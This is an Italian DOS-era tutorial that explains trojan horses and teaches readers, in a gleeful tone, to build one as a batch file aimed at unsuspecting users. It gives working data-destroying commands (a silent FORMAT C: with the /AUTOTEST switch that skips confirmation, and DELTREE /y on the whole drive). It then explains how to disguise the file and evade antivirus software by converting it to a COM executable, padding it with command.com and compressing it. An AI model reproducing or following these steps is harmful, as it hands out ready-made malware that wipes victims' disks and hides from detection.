TROJAN-HORSE:Spiegazione e anche come costruirne uno (superfacilissimo)!!.
Un trojan horse non è un vero e proprio virus, ma bensì un programma bastardo che può cancellarti tutto l'HD.
Quello che vi insegno oggi è un BAT-TROJAN HORS, che non è il trojan di Barman (Saluti a Barman!), ma bensì un trojan in formato ".bat".
Come costruirlo:
Copiate uno di questi codici in un normale editor di testo e poi salvatelo "nomechevuoi.bat"
C:\>EDIT TROJAN1.BAT
@FORMAT C: /AUTOTEST
" oppure "
C:\>EDIT TROJAN2.BAT
@DELTREE /y C:\*.*
Il carattere "@" serve a nascondere l'echo su schermo del comando (altrimenti
l'utente si accorgerebbe subito di cosa succede). Nel primo caso viene
utilizzata una piccola backdoor del comando FORMAT, precisamente il parametro
/AUTOTEST. Di solito l'esecuzione di questo comando a rischio chiede sempre
all'utente di ripensarci, prima di avviare la formattazione.
C:\>FORMAT C:
ATTENZIONE: TUTTI I DATI SUL DISCO FISSO C: ANDRANNO PERSI
Continuare con la formattazione (S/N)?
Tuttavia usando /AUTOTEST questa richiesta non viene effettuata e parte
direttamente la formattazione del disco (non si sa perchè la Microsoft abbia
lasciato questo strano parametro). Stessa cosa per il comando DELTREE, che
combinato con l'opzione /y rimuove tutti i files e tutte le cartelle dal disco
C. Varianti simili si possono ottenere con il normale comando DEL del DOS. Per
rendere uno di questi trojan horse più infido e intercettabile dall'utente
ignaro potete procedere come segue:
- create il file BAT col trojan senza usare il comando @
- usate una utility tipo BAT2COM per convertire il file BAT in un eseguibile
COM
- per rendere la dimensione del trojan più grande (quindi più credibile) usate
COPY /B trojan.com + command.com final.com
- comprimete il file FINAL.COM usando PKLITE.COM oppure DIET, ICE
In questo modo sarà veramente difficile rilevare il trojan nel file, anche per
un antivirus. Rientrano nella categoria anche le Logic Bomb (=bombe logiche)
che sono dei particolari trojan attivati da un evento temporale o dal
verificarsi di una certa condizione